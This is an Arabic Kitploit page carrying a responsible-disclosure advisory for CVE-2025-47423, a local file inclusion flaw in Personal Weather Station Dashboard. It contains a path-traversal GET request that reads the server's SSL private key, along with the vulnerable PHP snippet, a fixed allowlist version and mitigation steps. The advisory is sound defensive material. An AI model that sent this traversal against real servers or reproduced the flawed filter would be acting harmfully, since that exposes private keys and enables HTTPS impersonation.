Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-47423 — الإفصاح المفصل عن CVE-2025-47423: تضمين الملفات المحلية في لوحة إدارة محطة الطقس الشخصية 12_lts. يتضمن إثبات المفهوم (PoC)، تحليل الكود القابل للاستغلال، وتوصيات الإصلاح الآمن للتعلم الدفاعي. | Kitploit
أدوات/GitHubGitHub/haluka92/cve-2025-47423
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليمموارد منسقة
GitHubhaluka92/cve-2025-47423

CVE-2025-47423

الإفصاح المفصل عن CVE-2025-47423: تضمين الملفات المحلية في لوحة إدارة محطة الطقس الشخصية 12_lts. يتضمن إثبات المفهوم (PoC)، تحليل الكود القابل للاستغلال، وتوصيات الإصلاح الآمن للتعلم الدفاعي.

عرض المستودع
13منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-47423 – تضمين الملفات المحلي في Personal Weather Station Dashboard (12_lts)

اكتشفها: Matthew Eagle
الحالة: إفصاح عام
تاريخ الإبلاغ: 2025-05-05
معرّف CVE: CVE-2025-47423


🧩 الملخص

تسمح ثغرة تضمين الملفات المحلي (LFI) في Personal Weather Station Dashboard الإصدار 12_lts للمهاجمين عن بُعد وغير المصادَّق عليهم بقراءة ملفات عشوائية على الخادم. ويتيح استغلال هذا الخلل الوصول إلى ملفات حساسة بما في ذلك مفاتيح SSL الخاصة، مما قد يمسّ سرية اتصالات HTTPS وسلامتها.


🛠 المكوّن المتأثر

  • الملف: /others/_test.php
  • المعامل المصاب: test (عبر GET)

📈 التأثير

يتيح هذا الخلل للمهاجمين عن بُعد:

  • قراءة ملفات عشوائية على نظام الملفات
  • كشف مفاتيح SSL الخاصة (مثل server.key)
  • تنفيذ هجمات رجل في المنتصف (MITM)
  • انتحال هوية خادم HTTPS

CVSS: 5.8 متوسط


💥 إثبات المفهوم (PoC)

GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com

الاستجابة:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----

🧪 الكود المصاب (مبسّط)

$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);

دالة str_replace غير كافية لمنع اجتياز المسارات (directory traversal).


🔐 الإصلاح الآمن

  • استخدام قائمة سماح صارمة لأهداف التضمين
  • تنقية المدخلات باستخدام basename() والتحقق منها مقابل الملفات المسموح بها
  • تجنّب التضمين الديناميكي بناءً على مدخلات المستخدم
$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';

if (!in_array($script, $allowed_tests)) {
    die("Invalid test file.");
}

include(__DIR__ . '/scripts/' . $script);

📅 الجدول الزمني

التاريخالحدث
2025-05-05الإبلاغ عن الثغرة إلى مشرفي PWS Dashboard
2025-05-06تأكيد الاستلام وملاحظة إجراء الاختبار
2025-05-07حجز CVE-2025-47423 عبر MITRE
2025-06-07تأكيد التصحيح العام وإدراج CVE

🧠 التخفيف

إذا كنت تشغّل Personal Weather Station Dashboard 12_lts، فينبغي عليك:

  • إزالة _test.php أو تحديثه فورًا
  • تطبيق السكربت المُصلَح مع قائمة سماح للملفات
  • تدوير وإعادة إصدار أي شهادات TLS مخترقة

🧾 المراجع

  • CVE-2025-47423 على MITRE (قيد الانتظار)
  • إشعار منشور على GitHub

🙏 الشكر

اكتُشفت الثغرة وأُفصح عنها بمسؤولية من قِبل Matthew Eagle
للتواصل: [email protected]


تم التنسيق بشأن الإفصاح وفقًا لإرشادات الإفصاح المسؤول. تُنشر هذه الوثيقة لأغراض تعليمية ودفاعية.

تنزيل الأداة